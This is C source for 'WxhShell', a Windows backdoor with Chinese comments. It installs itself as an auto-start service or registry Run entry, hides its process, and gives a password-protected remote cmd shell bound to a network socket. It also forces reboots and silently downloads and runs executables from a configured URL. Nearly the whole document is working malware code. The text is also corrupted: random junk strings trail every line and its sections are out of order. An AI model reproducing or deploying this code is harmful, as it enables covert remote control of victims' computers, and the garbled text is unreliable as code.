    if(Boot(SHUTDOWN)) ltHC+8 aZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/_=0t  
    else { f7XmVCz1  
    closesocket(wsh); P G) dIec  
    ExitThread(0); 4 !~JNO  
    } 6R@ v>}  
    break; SR~~rD|V  
    } hdN3r{  
  // 获取shell dW!T.S  
  case 's': { O>w $  
    CmdShell(wsh); TA}gCXE e  
    closesocket(wsh); 4|Jy]  
    ExitThread(0); ,[+gE\z{{u  
    break; &#g;=jZ  
  } n?aogdK$V  
  // 退出 t ba%L  
  case 'x': { vyqlP;K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (q*T.   
    CloseIt(wsh); Lc*i[J<s  
    break; |!I#T  
    } i/oaKpPN  
  // 离开 E'Egc4Z2=l  
  case 'q': { sh}=#eb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^b;.zhp8;N  
    closesocket(wsh); 6E@r9U  
    WSACleanup(); d'^jek h  
    exit(1); q(!191@C(  
    break; ) #Y*]  
        } ^"l>;.w  
  } wvJm)Mj+  
  } E+>Qpy  
+n^$4f  
  // 提示信息 '!{zO" 1*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A(Ugam~}  
} G+^HZ4jg  
  } gjL>FOe8u  
`<y2l94tL  
  return; }#'O b  
} e][U ;  
gHvxmIG  
// shell模块句柄 ?8b?{`@V  
int CmdShell(SOCKET sock) }LDDm/$^}  
{ ?J6J#{LRd  
STARTUPINFO si; 8>6+]]O  
ZeroMemory(&si,sizeof(si)); ^C_Y[i ~|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m}Kn!21  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /u*((AJ?Qv  
PROCESS_INFORMATION ProcessInfo; & 2>W=h  
char cmdline[]="cmd"; qL,!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1nX/5z_U  
  return 0; [[Qu|?KEa  
} <8+.v6DCd  
<i%.bfQ/-  
// 自身启动模式 Z-*L[  
int StartFromService(void) m:)v>vu  
{ yWsN G;>  
typedef struct k^S=i_ U  
{ +/-#yfn!TR  
  DWORD ExitStatus; sZFjkfak  
  DWORD PebBaseAddress; o[O-|XL_  
  DWORD AffinityMask; yO]Vex5)  
  DWORD BasePriority; =UM30 P/  
  ULONG UniqueProcessId; r|{h7'  
  ULONG InheritedFromUniqueProcessId; 1<\@i{;xsU  
}   PROCESS_BASIC_INFORMATION; M`9qo8zCi  
O0i_h<T  
PROCNTQSIP NtQueryInformationProcess; ;Bat!K7W  
Jj8z~3XnJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |K,9EM3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XWf8ZZj  
bT|a]b:  
  HANDLE             hProcess; O1ofN#u  
  PROCESS_BASIC_INFORMATION pbi; nz3j";d  
S>/p6}3]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Ne<=ayS  
  if(NULL == hInst ) return 0; \rF6"24t6  
zy"L%i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \|F4@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `|X E B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cuO(*%Is1  
>8"oO[U5>  
  if (!NtQueryInformationProcess) return 0; /!=uM .  
0~iC#lHO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h q6B pE  
  if(!hProcess) return 0; {Kx eH7S  
9TIyY`2!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mS p -  
j6%X  
  CloseHandle(hProcess); ug'I:#@2  
>XcbNZV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2?u>A3^R  
if(hProcess==NULL) return 0; 5Q#;4  
?l! L )!2  
HMODULE hMod; # =V%S 2~  
char procName[255]; "w9LQ=mW  
unsigned long cbNeeded; +FfT)8@W  
m2E$[g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \V  /s  
jV]'/X<  
  CloseHandle(hProcess); CoDu|M%  
1+~JGY#   
if(strstr(procName,"services")) return 1; // 以服务启动 ZF"f.aV8)  
!rZO~a0  
  return 0; // 注册表启动 M$DJ$G|Z  
} guz{DBlK  
h!5^d!2,  
// 主模块 QZB2yK3]h  
int StartWxhshell(LPSTR lpCmdLine) r(h&=&T6  
{ 3UU]w`At  
  SOCKET wsl; BF@(`D&>  
BOOL val=TRUE; S+py \z%  
  int port=0; SlB,?R2  
  struct sockaddr_in door; ]wh8m1  
9_h 3<3e  
  if(wscfg.ws_autoins) Install(); Vc.A <(  
7 Bm 18  
port=atoi(lpCmdLine); %^n9Z /I  
; Xrx>( n  
if(port<=0) port=wscfg.ws_port; @[u!  
8J{I6nPF  
  WSADATA data; 3v)v92;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xT70Rp(2po  
S8*VjG?T\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E/|]xKG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zx,R6@l  
  door.sin_family = AF_INET; iwWy]V m7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !`q*{Ojx  
  door.sin_port = htons(port); lc>)7UF  
5W"nn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %ANo^~8  
closesocket(wsl); P1;T-.X~&  
return 1; |={><0  
} ^prseO?A  
xnmIo? hC  
  if(listen(wsl,2) == INVALID_SOCKET) { mE(EyB<  
closesocket(wsl); 6NH.!}"G9  
return 1; `<kHNcm  
} nkTH#WTfR  
  Wxhshell(wsl); Z.Lm[$/edn  
  WSACleanup(); qp 4.XL  
s:lar4>kM  
return 0; wNL!T6"G  
rGuhYYvK  
} bhe~ekb  
*6^|i}  
// 以NT服务方式启动 .Gq.st%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r?Jxl<  
{ U^vQr%ha  
DWORD   status = 0; A!Zjcp|  
  DWORD   specificError = 0xfffffff; `}.K@17  
pA)!40kz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "}Kvx{L8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^6[KzE#*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  hLFf  
  serviceStatus.dwWin32ExitCode     = 0; S>}jsP:V  
  serviceStatus.dwServiceSpecificExitCode = 0; 0}Rxe  
  serviceStatus.dwCheckPoint       = 0; C\Q3vG  
  serviceStatus.dwWaitHint       = 0; Jfa=#`    
i$;GEM}tv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <GPL8D  
  if (hServiceStatusHandle==0) return; O-Hu:KuIf  
_F>1b16:/P  
status = GetLastError(); <q hNX$t  
  if (status!=NO_ERROR) 0fA42*s;  
{ HmKvu"3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4"1OtBU3  
    serviceStatus.dwCheckPoint       = 0; *%1:="W*|  
    serviceStatus.dwWaitHint       = 0; uMa: GDh7  
    serviceStatus.dwWin32ExitCode     = status; <_@ K4zV  
    serviceStatus.dwServiceSpecificExitCode = specificError; tk"L2t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6 -;iT8  
    return; ~r;da9  
  } wGa0w*$  
-B :Z(]3#\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W7.O(s,32  
  serviceStatus.dwCheckPoint       = 0; )bRe"jxn7  
  serviceStatus.dwWaitHint       = 0; uXq?Z@af|f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LqIMU4Ex  
} o^dt# &  
|t CD@M  
// 处理NT服务事件,比如:启动、停止 uW%7X2K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^@l_K +T  
{ f Z$<'(t  
switch(fdwControl) /]%,C   
{ u^a\02aV[  
case SERVICE_CONTROL_STOP: ya5a7  
  serviceStatus.dwWin32ExitCode = 0; x n)FE4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8+Al+6d|!  
  serviceStatus.dwCheckPoint   = 0; ;5^ grr@,4  
  serviceStatus.dwWaitHint     = 0; z"o;|T:  
  { 1<A+.W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L(TO5Y]  
  } g0I<Fan  
  return; hY+3PNiI@  
case SERVICE_CONTROL_PAUSE: 2n+j.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H^xrFXg~z  
  break; $UW!tg*U&  
case SERVICE_CONTROL_CONTINUE: 5&7)hMppI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q>7#</i\.  
  break; $de_>  
case SERVICE_CONTROL_INTERROGATE: (Tp+43v  
  break; RtH[OZu(8  
}; dvxD{UH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]W<E#^  
} L]B]~Tw  
/k<*!H]KSg  
// 标准应用程序主函数 L`FsK64@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -aG( Yx  
{ }D dg  
nkHr(tF 7  
// 获取操作系统版本 HP|,AmVLl  
OsIsNt=GetOsVer(); Wd$N[|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rg)\o(J  
O/_} O_rR  
  // 从命令行安装 #W 1`vke3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^q"p 8   
JiZ9ly( G  
  // 下载执行文件 @A!Ef=R  
if(wscfg.ws_downexe) { +f\tqucI3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V'c9DoSRI\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ']$ttfJB  
} c}Jy'F7&f  
tnqW!F~  
if(!OsIsNt) { /7@@CG6b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]=9%fA  
HideProc(); YV-2es+Bd  
StartWxhshell(lpCmdLine); #:T5_9p  
} HG@!J>YaD  
else ig; ~ T  
  if(StartFromService()) `h$6MFC/g  
  // 以服务方式启动 gtJ^8khME  
  StartServiceCtrlDispatcher(DispatchTable); @l"GfDf L9  
else yN{Ybp  
  // 普通方式启动 %P_\7YBC>  
  StartWxhshell(lpCmdLine); @`}'P115@  
Ul@ZCv+  
return 0; dcU|y%k%  
} s`C#=l4  
wVE"nN#  
K!|=)G3.`  
kKE 2~ q  
=========================================== 6e  |  
1{o CMq/v  
XIBw&mWf  
.%->   
g?j"d{.9t  
ct~lt'L\  
" 5`x9+XvoN  
DLS-WL  
#include <stdio.h> 'U1r}.+b>  
#include <string.h> [n74&EH  
#include <windows.h> U45/%?kE)  
#include <winsock2.h> lS?f?n^  
#include <winsvc.h> aE,x>I 7 D  
#include <urlmon.h> 5R"b1  
Q7=J[,V:2  
#pragma comment (lib, "Ws2_32.lib") ~d{E>J77j  
#pragma comment (lib, "urlmon.lib") r{%NMj  
Y%=A>~s*c:  
#define MAX_USER   100 // 最大客户端连接数 uT-WQ/id  
#define BUF_SOCK   200 // sock buffer rEAPlO.Yp  
#define KEY_BUFF   255 // 输入 buffer gLpWfT29V  
ew`R=<mZ,7  
#define REBOOT     0   // 重启 B.Xm*adBT  
#define SHUTDOWN   1   // 关机 ? erDP8  
e6F:['j  
#define DEF_PORT   5000 // 监听端口 -\NB*|9m|  
-w@fd]g  
#define REG_LEN     16   // 注册表键长度 =<e#  2  
#define SVC_LEN     80   // NT服务名长度 `Z@wWs  
aY {.  
// 从dll定义API xE6y9"}!h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fa/i./V2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YF:NRY[i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $%t{O[ (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sl$dXB@  
p19Zxh  
// wxhshell配置信息 +=}% 7o  
struct WSCFG { "(C }Dn#  
  int ws_port;         // 监听端口 M1ayAXO  
  char ws_passstr[REG_LEN]; // 口令 1qQgAhoY  
  int ws_autoins;       // 安装标记, 1=yes 0=no [9LYR3 p  
  char ws_regname[REG_LEN]; // 注册表键名 a"&Z!A:Z=  
  char ws_svcname[REG_LEN]; // 服务名 M?\)&2f[Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N{q'wep  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S3J6P2P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !^m5by  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \7C >4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2i>xJMW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {:oZ&y)Ac  
O]PfQ  
}; C$%QVcf  
l y%**iN  
// default Wxhshell configuration w"BTu-I  
struct WSCFG wscfg={DEF_PORT, Tbwq_3f K  
    "xuhuanlingzhe", J}YI-t  
    1, 1mjv~W  
    "Wxhshell", JPpYT~4  
    "Wxhshell", FVD}9ia  
            "WxhShell Service", 9iOlR=-*  
    "Wrsky Windows CmdShell Service", Q3/q%#q>  
    "Please Input Your Password: ", Y7jD:P  
  1, 21WqLgT3 4  
  "http://www.wrsky.com/wxhshell.exe", CTI(Kh+  
  "Wxhshell.exe" f,-|"_5;   
    }; M"FAUqz`  
sXydMk`J  
// 消息定义模块 JZv]tJWq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JZtFt=>q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UMX+h])#N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pts}?   
char *msg_ws_ext="\n\rExit."; 000 $ZsW?  
char *msg_ws_end="\n\rQuit."; $e;!nI;z  
char *msg_ws_boot="\n\rReboot..."; )N6R#   
char *msg_ws_poff="\n\rShutdown..."; 0F3>kp4u  
char *msg_ws_down="\n\rSave to "; 'w!gQ#De  
'LOqGpmVc  
char *msg_ws_err="\n\rErr!"; 'wZy: c  
char *msg_ws_ok="\n\rOK!"; "''<:K|  
czb%%:EJs|  
char ExeFile[MAX_PATH]; KGWENX_U  
int nUser = 0; m@Nx`aS?  
HANDLE handles[MAX_USER]; x2B"%3th0  
int OsIsNt; `MwQ6%lf  
~pA;j7*  
SERVICE_STATUS       serviceStatus; aK>9:{]ez  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'H'+6   
'?>eW 2d  
// 函数声明 %~;Q_#CR/K  
int Install(void); pkU e|V  
int Uninstall(void); 1;xw)65  
int DownloadFile(char *sURL, SOCKET wsh); W@C56fCa  
int Boot(int flag); ?xo,)``  
void HideProc(void); uy9B8&Sr  
int GetOsVer(void); 7qUtsDK  
int Wxhshell(SOCKET wsl); X@:fW  @  
void TalkWithClient(void *cs); YKg[k:F  
int CmdShell(SOCKET sock); qQcC[50  
int StartFromService(void); 5>@uEebkv]  
int StartWxhshell(LPSTR lpCmdLine); XH *tChf<  
{e%abr_B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?iLd5 Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5An0D V5  
s4gNS eA  
// 数据结构和表定义 N39nJqo>"  
SERVICE_TABLE_ENTRY DispatchTable[] = q-G|@6O  
{ y9L#@   
{wscfg.ws_svcname, NTServiceMain}, z^/GTY  
{NULL, NULL} !~N4}!X3du  
}; I PVzV\o  
,/:a77  
// 自我安装 3NN'E$"3  
int Install(void) T{<@MK%],d  
{ i f<<lq  
  char svExeFile[MAX_PATH]; `,Nn4  
  HKEY key; D i'u%r  
  strcpy(svExeFile,ExeFile); (<3lo ZaX  
>NRz*h#  
// 如果是win9x系统,修改注册表设为自启动 ' f$L  
if(!OsIsNt) { z>33O5U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & fSc{/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EOX_[ek7  
  RegCloseKey(key); @7s,| \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Sr:"SrT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kLVn(dC "  
  RegCloseKey(key); q83~j `ZJ$  
  return 0; &@HNz6KO  
    } fHd!/%iG  
  } XLmMK{gs  
} d BMe`hM)  
else { Px#QZZ  
>I& jurU#  
// 如果是NT以上系统,安装为系统服务 uUz`=4%A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ejms)JK+  
if (schSCManager!=0)  l}0V+  
{ 2]} Uov  
  SC_HANDLE schService = CreateService Ok>(>K<r  
  ( T1Q sW<*j  
  schSCManager, -#wVtXaSc  
  wscfg.ws_svcname, }11`98>B6:  
  wscfg.ws_svcdisp, lP*  
  SERVICE_ALL_ACCESS, FGwnESCC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :@ E1Pun?  
  SERVICE_AUTO_START, A6N~UV*_  
  SERVICE_ERROR_NORMAL, &'(a$ S>v  
  svExeFile, 8pPC 9ew\=  
  NULL, 1/2V.:bg  
  NULL, 9Yl8n dP^E  
  NULL, 2]D$|M?$~  
  NULL, t0bhXFaiE  
  NULL *IWFeu7y  
  ); zr.+'  
  if (schService!=0) q#99iiG1  
  { X 45x~8f  
  CloseServiceHandle(schService); U|J$?aFDr  
  CloseServiceHandle(schSCManager); zg#m09[4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F#1 Kk#t  
  strcat(svExeFile,wscfg.ws_svcname); KQ4kZN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {N!E5*$Tr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x}?DkFuxb  
  RegCloseKey(key); )'[x)q  
  return 0; y9C;T(oi;  
    } QqiJun_m  
  } u>}w-  
  CloseServiceHandle(schSCManager); 7uPZuXHxcu  
} b0@>xT  
} mRhd/|g*  
sI&i{D  
return 1; 'tb(J3ZP  
} qzA`d 5rX  
M{?zvq?d  
// 自我卸载 iq"ob8.  
int Uninstall(void) w9RF2J  
{ $#%U\mI z  
  HKEY key; )0#j\ B  
Ih.rC>)rx  
if(!OsIsNt) { M1oPOC\0.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pheE^jUr  
  RegDeleteValue(key,wscfg.ws_regname); z Yw;q3"  
  RegCloseKey(key); ?y ~TCqV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oZTgN .q  
  RegDeleteValue(key,wscfg.ws_regname); 'X =p7 d|'  
  RegCloseKey(key); r&}(9Cq&"y  
  return 0; CRH{E}>  
  } !FTNmyM~F  
} v" }WP34  
} &V'519vmoZ  
else { u!Xb?:3uj  
pb!V|#u"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qG<7hr@x]  
if (schSCManager!=0) UMV)wy|j  
{ j'K38@M:MN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f-;$0mTQ  
  if (schService!=0) *LANGQ"2(i  
  { >F1G!#$0  
  if(DeleteService(schService)!=0) { ]r4bRK[1  
  CloseServiceHandle(schService); *?/tO, R?  
  CloseServiceHandle(schSCManager); ,CP 5~4u  
  return 0; q:I$EpKf?Q  
  } /F.Wigv  
  CloseServiceHandle(schService); ,57$N&w  
  } >M]6uf  
  CloseServiceHandle(schSCManager); {_?rh,9q  
} !/`$AXO  
} WJ |:kuF  
H&#{l)  
return 1; #B8*gFZB  
} 9'?se5\  
LxLy+yC#p  
// 从指定url下载文件 y<pnp?x4  
int DownloadFile(char *sURL, SOCKET wsh) tF*szf|$-  
{ <a4 TO8  
  HRESULT hr; > _ <'D  
char seps[]= "/"; =-NiO@5o  
char *token; +k.%PO0np  
char *file; )=J5\3O*x  
char myURL[MAX_PATH]; u:&o}[  
char myFILE[MAX_PATH]; X&M4MuL  
t 42ub  
strcpy(myURL,sURL); Z&Y=`GOI  
  token=strtok(myURL,seps); N|mJg[j@7  
  while(token!=NULL) W3r?7!~  
  { OoBCY-gj*  
    file=token; 7ER|'j  
  token=strtok(NULL,seps); ljC(L/I  
  } PRkS Q4  
08s_v=cF  
GetCurrentDirectory(MAX_PATH,myFILE); YAVy9$N-  
strcat(myFILE, "\\"); Bj Wr5SJ  
strcat(myFILE, file);  x}TS  
  send(wsh,myFILE,strlen(myFILE),0); /J3ZL[o?Q  
send(wsh,"...",3,0); sa1h%<   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b| M3 `  
  if(hr==S_OK) 0v)bA}k  
return 0; p5\]5bb  
else D}3T|N  
return 1; fB1TFtAh  
#3$\Iu  
} <eN_1NTH_  
'G&{GVbXY  
// 系统电源模块 69m ;XdkKz  
int Boot(int flag) jN31hDg<z  
{ ^EELaG  
  HANDLE hToken; y [#pC<^  
  TOKEN_PRIVILEGES tkp; WWKvh  
5U`ZbG  
  if(OsIsNt) { KLoE&ds  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z~*g~RKS!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Dw~P OMy  
    tkp.PrivilegeCount = 1; =U8Ek;Drp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8:=n*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fq )vK  
if(flag==REBOOT) { o*WY=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k%s_0 @  
  return 0; %`MQmXgM  
} {\H/y c|@  
else { Sr?#wev]rn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wj|alH9<  
  return 0; ncu`vYI.  
} {8$=[;  
  } 5|3e&  
  else { v ^[39*8  
if(flag==REBOOT) { >Y7a4~ufko  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Z: R Ce^  
  return 0; f() FY<b  
} <8,o50`B  
else { -fhN"B)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m>USD? i  
  return 0; *IgE)N >  
} 6+r$t#  
} S/|,u`g-  
2M#M"LHo  
return 1; 1b=lpw 1}  
} 0a8/B>  
`&\Q +W  
// win9x进程隐藏模块 \(226^|j  
void HideProc(void) mxor1P#|  
{ KT]Pw\y5  
s { #3r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DPi_O{W>  
  if ( hKernel != NULL ) BA\/YW @  
  { SGb;!T *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5F`;yh+e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RMMd#/A@}  
    FreeLibrary(hKernel); h(WrL  
  } r0p w_j  
/Mb"V5S(W  
return; OL4z%mDZi  
} *s@Qtgu  
rG,5[/l  
// 获取操作系统版本 Gt9&)/#  
int GetOsVer(void) +P.+_7+:  
{ ss;R8:5  
  OSVERSIONINFO winfo; .<kqJ|SVi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ge]STSM0n7  
  GetVersionEx(&winfo); nUkaz*4qU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7 |DHplI  
  return 1; lu Q~YjH  
  else ^CwR!I.D}4  
  return 0; (O0Urm  
} g{5A4|_7  
n3J53| %v  
// 客户端句柄模块 ^eW}XRI  
int Wxhshell(SOCKET wsl) 'X shmZ0&  
{ 6uKTGc4  
  SOCKET wsh; @A)R_p  
  struct sockaddr_in client; {Zp\^/  
  DWORD myID; B]tIi^  
|_u aS  
  while(nUser<MAX_USER) `^lYw:xA  
{ OyqNLR  
  int nSize=sizeof(client);  ~c6}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZE%YXG  
  if(wsh==INVALID_SOCKET) return 1; aL\nT XakX  
c6Y\n%d&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z0/} !  
if(handles[nUser]==0) ZyEHzM{$  
  closesocket(wsh);  & y<ZE  
else `"%T=w  
  nUser++; t(="h6i  
  } >0l"P"]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +f[ED4E>'(  
ngGO0  
  return 0; &N3Y|2  
} `9 {mr<  
E= `6-H{  
// 关闭 socket Z}-Vf$O~  
void CloseIt(SOCKET wsh) 1h.)#g?{  
{ O@YTAT&d#  
closesocket(wsh); [d* ~@P  
nUser--; Znetzm=0  
ExitThread(0); F]9nB3:W  
} Q:$Zy  
bO<CR  
// 客户端请求句柄 J!DF^fLe  
void TalkWithClient(void *cs) R6=$u{D  
{ o-o'z'9  
T 6~_Q}6  
  SOCKET wsh=(SOCKET)cs; +}-@@,  
  char pwd[SVC_LEN]; J+f!Ar  
  char cmd[KEY_BUFF]; ;*,f<  
char chr[1]; H)(:8~c,p  
int i,j; \cCV6A[  
R<V!%rL;;  
  while (nUser < MAX_USER) { Ka,^OW}<%q  
+d|mR9^([  
if(wscfg.ws_passstr) { Q3"} Hl2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I<A6Z&*un  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ek N' k  
  //ZeroMemory(pwd,KEY_BUFF); 'ky b\q  
      i=0; r/*=%~*  
  while(i<SVC_LEN) { KWWa&[ev)  
t3+Py7qv  
  // 设置超时 E#F/88(  
  fd_set FdRead; PdVfO8-  
  struct timeval TimeOut; pBw0"ff  
  FD_ZERO(&FdRead); +[xnZ$Iev  
  FD_SET(wsh,&FdRead); TFuR@KaBR  
  TimeOut.tv_sec=8; n!qV>k9Y  
  TimeOut.tv_usec=0; K+6e?5t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6[]]Y,Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i.:. Y  
5MSB dO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4npqJ1  
  pwd=chr[0]; `N5|Ho*C  
  if(chr[0]==0xd || chr[0]==0xa) { mZUfn%QXb(  
  pwd=0; kD}Y|*]5-5  
  break; B*gdgM*`  
  } CX m+)a-L  
  i++; W}|'#nR  
    } +NFzSal  
t5lO'Ll*Q]  
  // 如果是非法用户,关闭 socket vO;I(^Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 46k?b|Q  
} ~g7l8H67  
RNQK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N&[D>G]>v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NuU9~gSQ  
VS&TA>  
while(1) { `f'K@  
Dk5Zh+^  
  ZeroMemory(cmd,KEY_BUFF); 1 n%?l[o  
!@'%G6:.  
      // 自动支持客户端 telnet标准   V _c @b%  
  j=0; jVH|uX"M5Y  
  while(j<KEY_BUFF) { f>ZyI{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b}Zd)2G  
  cmd[j]=chr[0]; "l >Igm  
  if(chr[0]==0xa || chr[0]==0xd) { *:O.97q@h  
  cmd[j]=0; C4}*) a  
  break; {hJXj,  
  } &[&r2 >a  
  j++; V#jWege  
    } 0 P[RyQI  
*|_"W+JC  
  // 下载文件 !d&C>7nb  
  if(strstr(cmd,"http://")) { .Q)|vq^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X";@T.ZGut  
  if(DownloadFile(cmd,wsh)) )z8!f}:De=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); & /4k7X}y  
  else V)P&Zw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cVwbg[W]  
  } $'pNp B#vH  
  else { u0`%+:]0  
r_YIpnJ  
    switch(cmd[0]) { Jdy=_88MD  
  M_LXg%  
  // 帮助 )NR Q2  
  case '?': { +-B^Z On  
